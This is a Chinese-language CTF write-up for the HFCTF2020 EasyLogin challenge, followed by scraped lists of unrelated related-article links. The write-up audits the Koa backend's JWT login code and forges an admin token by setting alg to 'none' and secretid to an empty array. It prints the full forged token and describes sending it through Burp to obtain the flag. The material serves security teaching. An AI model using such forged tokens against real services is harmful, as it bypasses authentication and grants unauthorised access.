前置知识

node.js

koa框架常用目录,文件

js弱类型语言,空数组与整数1比较时,返回turue

jwt令牌

博客讲解:

关于jwt的讲解: http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

https://www.cnblogs.com/z-sm/p/9125995.html

https://www.jianshu.com/p/1ce08a374bb5

jwt攻击手段:https://www.freebuf.com/articles/web/181261.html

个人总结

形式:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.(这里有一个点)eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.(这里也有一个点)TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

第一个点前为header,第二个点前为payload,第二个点后为signture

一个攻击点:当header中的alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。

解题思路

点开发现是登陆框,源码什么的没有啥问题

审查元素

f12审查元素,发现app.js,发现是node.js写的后端。框架用的是koa

之后主要的逻辑代码我没找到,看wp才知道是controllers下的api.js。赵总说是经验,好吧。。。学到了。

代码审计

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken') const APIError = require('../rest').APIError; module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
`
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
} if(global.secrets.length > 100000) {
global.secrets = [];
} const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); ctx.rest({
token: token
}); await next();
}, 'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body; if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
} const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
} const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) {
ctx.session.username = username;
} ctx.rest({
status
}); await next();
}, 'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
} const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
}); await next();
}, 'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

这里有注册、登陆、flag、登出四个路由,可以得知admin登陆后即可获得flag,此时思路,如何登陆admin用户

jwt令牌

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

关键代码就是这一句,发现使用的为jwt令牌,关于jwt令牌的攻击前置知识已写,所以直接运用 将加密方式改为’none’的方式。

payload:

{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "123456","iat": 1587632063}.(分开base64)

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.

这里推荐一个网站

https://jwt.io/

可以直接帮你编码

解题

先注册一个用户,登陆界面bp抓包,并发送刚刚的payload



发包,发现登陆成功,显示welcome admin,再抓一个包,go一下,发现flag

总结思路

  • 要找到一个项目的主要逻辑代码,文件名可能为api.js
  • 代码审计发现jwt令牌,思考可以用哪个jwt攻击思路

知识点

  • jwt相关攻击
  • 代码审计(node.js)

刷题[HFCTF2020]EasyLogin的更多相关文章

  1. LeetCode刷题系列

    LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...

  2. ife任务刷题总结(一)-css reset与清除浮动

    本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...

  3. 刷题ING...

    我用codeVS刷题.. 努力准备!!

  4. XidianOJ 1020 ACMer去刷题吧

    题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...

  5. 【BZOJ-4590】自动刷题机 二分 + 判定

    4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 156  Solved: 63[Submit][Status ...

  6. NOI题库分治算法刷题记录

    今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...

  7. NOI题库刷题日志 (贪心篇题解)

    这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制:  1000ms  内存限制:  65536kB 描述 在一个平面上,如果有两个点( ...

  8. 用js刷题的一些坑

    leecode可以用js刷题了,我大js越来越被认可了是吧.但是刷题中会因为忽略js的一些特性掉入坑里.我这里总结一下我掉过的坑. 坑1:js中数组对象是引用对象 js中除了object还有数组对象也 ...

  9. BZOJ4590 自动刷题机

    Description 曾经发明了信号增幅仪的发明家SHTSC又公开了他的新发明:自动刷题机--一种可以自动AC题目的神秘装置.自动 刷题机刷题的方式非常简单:首先会瞬间得出题目的正确做法,然后开始写 ...

随机推荐

  1. failed to find romfile "vgabios-stdvga.bin"

    问题:failed to find romfile "vgabios-stdvga.bin" 解决: apt-get install vgabios ln -s /usr/shar ...

  2. 计算机网络-应用层(5)P2P应用

    P2P系统的索引:信息到节点位置(IP地址+端口号)的映射 在文件共享(如电驴中):利用索引动态跟踪节点所共享的文件的位置.节点需要告诉索引它拥有哪些文件.节点搜索索引从而获知能够得到哪些文件 在即时 ...

  3. pandas 数据表中的字符与日期数据的处理

    前面我们有学习过有关字符串的处理和正在表达式,但那都是基于单个字符串或字符串列表的操作.下面将学习如何基于数据框操作字符型变量. 同时介绍一下如何从日期型变量中取出年份,月份,星期几等,如何计算两个日 ...

  4. PowerJob 在线日志饱受好评的秘诀:小但实用的分布式日志系统

    本文适合有 Java 基础知识的人群 作者:HelloGitHub-Salieri HelloGitHub 推出的<讲解开源项目>系列. 项目地址: https://github.com/ ...

  5. “网络巨轮”BGP的高级装备(增强配置)

    引入 如下图在很多时候,BGP建立对等体的时候,要去建立大量的EBGP和IBGP对等体,IBGP还要全连接,这就给我们带来了大量重复的工作,路由表就会变得很庞大,区域内和区域之间就会很难管理,以下这些 ...

  6. 兄弟们,我打算抠100个网站JS加密代码召唤,一个也跑不掉,这次轮到小虎牙

    摘要:友情提示:在博客园更新比较慢,有兴趣的关注知识图谱与大数据公众号吧.本次研究虎牙登录密码加密JS代码,难度不大,依然建议各位读者参考文章独自完成,实在抠不出来再参考这里的完整代码:从今天开始种树 ...

  7. Fragment的跳转

    1. 设置主Fragment 其它fragment得到它就可以了. 1 val ft = fragmentManager?.beginTransaction() 2 val maiFrgmt = Ma ...

  8. 前端通过jqplot绘制折线图

    首先需要下载jqplot需要的js与css文件,我已近打包好了,需要的可以下载 接下来导入其中关键的js与css如下, <link href="css/jquery.jqplot.mi ...

  9. 使用Vagrant 后发现虚拟机磁盘空间爆满的血泪填坑记

      现象:  用了几天vagrant后,发现docker 里的 Mysql5.7 服务无法启动,用docker ps 命令,发现mysql一直在反复重启, 查看mysql log 发现说磁盘空间不够, ...

  10. [AngstromCTF 2019]Cookie Cutter

    最近看到了一个国外高中生的CTF比赛,翻了一下往年的例题,发现有一道关于jwt session伪造的题比较有意思,记录一下 题目简介中给出了我们题目的地址和后端处理的源码,看看源码先代码审计一下: c ...